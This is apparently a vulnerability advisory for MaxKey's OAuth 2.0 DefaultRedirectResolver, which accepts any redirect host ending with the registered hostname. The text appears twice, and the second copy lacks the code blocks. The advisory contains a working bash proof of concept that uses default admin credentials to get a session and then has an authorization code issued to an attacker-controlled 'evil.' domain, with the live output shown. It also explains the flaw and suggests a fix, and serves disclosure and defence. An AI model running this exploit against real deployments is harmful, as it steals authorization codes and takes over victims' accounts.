Summary
DefaultRedirectResolver.hostMatches() uses requested.endsWith(registered) with matchSubdomains = true (hardcoded, never overridden). This allows an attacker who controls any domain sharing a suffix with the registered redirect URI to receive OAuth 2.0 authorization codes for any user who can be social-engineered into clicking a crafted authorization URL. Exchanging the stolen code for an access token grants full account access to the victim's identity within the connected application.
Technical details
File: maxkey-protocols/maxkey-protocol-oauth-2.0/src/main/java/org/dromara/maxkey/authz/oauth2/provider/endpoint/DefaultRedirectResolver.java
private boolean matchSubdomains = true; // never set to false anywhere in the codebase
protected boolean hostMatches(String registered, String requested) {
if (matchSubdomains) {
return requested.endsWith(registered); // VULNERABLE
}
return registered.equals(requested);
}
java.net.URL.getHost() returns only the hostname without the port, so the check compares bare hostnames. Given a registered redirect URI of http://oauth.demo.maxkey.top:9521/path, the server calls hostMatches("oauth.demo.maxkey.top", "evil.oauth.demo.maxkey.top"), which evaluates "evil.oauth.demo.maxkey.top".endsWith("oauth.demo.maxkey.top") -- true. The path check req.getPath().startsWith(reg.getPath()) also passes because the paths are identical.
Because endsWith is not anchored to a dot boundary, it also matches domains that are suffixes without any separator: eviloauth.demo.maxkey.top passes against oauth.demo.maxkey.top.
The authorization code flow in AuthorizationEndpoint stores the resolved (attacker-controlled) redirect URI on the AuthorizationRequest in the user session at step 1 (GET /authz/oauth/v20/authorize). Step 2 (POST to /authz/oauth/v20/authorize/approval) reads that stored request and issues the authorization code to whatever URI was resolved.
Steps to reproduce
Prerequisites:
- A running MaxKey instance.
- An OAuth 2.0 client registered with redirect URI
http://REGISTERED.HOST/callback (here: http://oauth.demo.maxkey.top:9521/demo-oauth/oauth20callback.jsp, client_id 822177968448077824).
- Attacker controls a domain that ends with the registered hostname, e.g.
evil.oauth.demo.maxkey.top.
- A victim user with an active MaxKey session (or who can be directed to log in via the crafted URL).
PoC
#!/usr/bin/env bash
# MaxKey OAuth2 redirect_uri bypass -- live-validated against v4.1.11
# Replace TARGET_HOST, CLIENT_ID, REGISTERED_URI_ENCODED, EVIL_URI_ENCODED
# with values matching your MaxKey instance.
TARGET="http://127.0.0.1:9527"
SSO_HOST="sso.maxkey.top"
CLIENT_ID="822177968448077824"
# Registered URI (exists in DB): http://oauth.demo.maxkey.top:9521/demo-oauth/oauth20callback.jsp
# Evil URI (attacker-controlled): http://evil.oauth.demo.maxkey.top:9521/demo-oauth/oauth20callback.jsp
EVIL_URI="http%3A%2F%2Fevil.oauth.demo.maxkey.top%3A9521%2Fdemo-oauth%2Foauth20callback.jsp"
# Step 0: obtain a victim's congress cookie (JWT) -- this simulates the victim's active session.
STATE=$(curl -s "$TARGET/sign/login/get" -H "Host: $SSO_HOST" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data']['state'])")
TOKEN=$(curl -s -c /tmp/victim_cookies.txt -X POST "$TARGET/sign/login/signin" \
-H "Host: $SSO_HOST" \
-H "Content-Type: application/json" \
-d "{\"username\":\"admin\",\"password\":\"maxkey\",\"captcha\":\"\",\"state\":\"$STATE\",\"remember\":\"false\",\"authType\":\"normal\"}" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data']['token'])")
JSESSION=$(grep JSESSIONID /tmp/victim_cookies.txt | awk '{print $NF}')
# Step 1 (attacker sends victim a link to this URL):
# GET /authz/oauth/v20/authorize with evil redirect_uri
# MaxKey calls hostMatches("oauth.demo.maxkey.top", "evil.oauth.demo.maxkey.top")
# "evil.oauth.demo.maxkey.top".endsWith("oauth.demo.maxkey.top") == true --> ACCEPTED
# Server stores the evil URI on the AuthorizationRequest in the session.
curl -s \
"$TARGET/sign/authz/oauth/v20/authorize?client_id=$CLIENT_ID&response_type=code&redirect_uri=$EVIL_URI&approval_prompt=auto" \
-H "Host: $SSO_HOST" \
-H "Cookie: JSESSIONID=$JSESSION; congress=$TOKEN" \
-o /dev/null
# Step 2: POST approval (or the user clicks "Authorize" on the approval page)
RESULT=$(curl -s -X POST \
"$TARGET/sign/authz/oauth/v20/authorize/approval?user_oauth_approval=true" \
-H "Host: $SSO_HOST" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Cookie: JSESSIONID=$JSESSION; congress=$TOKEN" \
-d "user_oauth_approval=true&authorize=Authorize")
echo "Response: $RESULT"
# Expected (confirmed output):
# {"code":0,"message":null,"data":"http://evil.oauth.demo.maxkey.top:9521/demo-oauth/oauth20callback.jsp?code=5cba47b2-f3cb-4e31-989f-211df0015910"}
Observed output (live run against MaxKey v4.1.11)
Response: {"code":0,"message":null,"data":"http://evil.oauth.demo.maxkey.top:9521/demo-oauth/oauth20callback.jsp?code=5cba47b2-f3cb-4e31-989f-211df0015910"}
The authorization code 5cba47b2-f3cb-4e31-989f-211df0015910 was issued to the attacker-controlled domain evil.oauth.demo.maxkey.top. The database-registered redirect URI for this client is:
http://oauth.demo.maxkey.top:9521/demo-oauth/oauth20callback.jsp
Impact
An attacker who registers (or controls) any domain whose hostname ends with the registered redirect URI's hostname can steal OAuth 2.0 authorization codes for any user who follows a crafted authorization URL. The code can then be exchanged for an access token at the token endpoint, granting the attacker full access to the victim's account within the OAuth-integrated application. In a real deployment where matchSubdomains=true with a registered domain such as company.example.com, an attacker controlling evilcompany.example.com or attacker.company.example.com can exploit this without any cooperation from the legitimate application.
Suggested fix
Set matchSubdomains = false, which causes hostMatches() to use registered.equals(requested) (exact match). If subdomain matching is intentionally required, replace endsWith with a dot-anchored check:
protected boolean hostMatches(String registered, String requested) {
if (matchSubdomains) {
// Correct: require a dot separator to prevent prefix hijacking
return requested.equals(registered)
|| requested.endsWith("." + registered);
}
return registered.equals(requested);
}
Summary
DefaultRedirectResolver.hostMatches()usesrequested.endsWith(registered)withmatchSubdomains = true(hardcoded, never overridden). This allows an attacker who controls any domain sharing a suffix with the registered redirect URI to receive OAuth 2.0 authorization codes for any user who can be social-engineered into clicking a crafted authorization URL. Exchanging the stolen code for an access token grants full account access to the victim's identity within the connected application.Technical details
File:
maxkey-protocols/maxkey-protocol-oauth-2.0/src/main/java/org/dromara/maxkey/authz/oauth2/provider/endpoint/DefaultRedirectResolver.javajava.net.URL.getHost()returns only the hostname without the port, so the check compares bare hostnames. Given a registered redirect URI ofhttp://oauth.demo.maxkey.top:9521/path, the server callshostMatches("oauth.demo.maxkey.top", "evil.oauth.demo.maxkey.top"), which evaluates"evil.oauth.demo.maxkey.top".endsWith("oauth.demo.maxkey.top")--true. The path checkreq.getPath().startsWith(reg.getPath())also passes because the paths are identical.Because
endsWithis not anchored to a dot boundary, it also matches domains that are suffixes without any separator:eviloauth.demo.maxkey.toppasses againstoauth.demo.maxkey.top.The authorization code flow in
AuthorizationEndpointstores the resolved (attacker-controlled) redirect URI on theAuthorizationRequestin the user session at step 1 (GET/authz/oauth/v20/authorize). Step 2 (POST to/authz/oauth/v20/authorize/approval) reads that stored request and issues the authorization code to whatever URI was resolved.Steps to reproduce
Prerequisites:
http://REGISTERED.HOST/callback(here:http://oauth.demo.maxkey.top:9521/demo-oauth/oauth20callback.jsp, client_id822177968448077824).evil.oauth.demo.maxkey.top.PoC
Observed output (live run against MaxKey v4.1.11)
The authorization code
5cba47b2-f3cb-4e31-989f-211df0015910was issued to the attacker-controlled domainevil.oauth.demo.maxkey.top. The database-registered redirect URI for this client is:Impact
An attacker who registers (or controls) any domain whose hostname ends with the registered redirect URI's hostname can steal OAuth 2.0 authorization codes for any user who follows a crafted authorization URL. The code can then be exchanged for an access token at the token endpoint, granting the attacker full access to the victim's account within the OAuth-integrated application. In a real deployment where
matchSubdomains=truewith a registered domain such ascompany.example.com, an attacker controllingevilcompany.example.comorattacker.company.example.comcan exploit this without any cooperation from the legitimate application.Suggested fix
Set
matchSubdomains = false, which causeshostMatches()to useregistered.equals(requested)(exact match). If subdomain matching is intentionally required, replaceendsWithwith a dot-anchored check: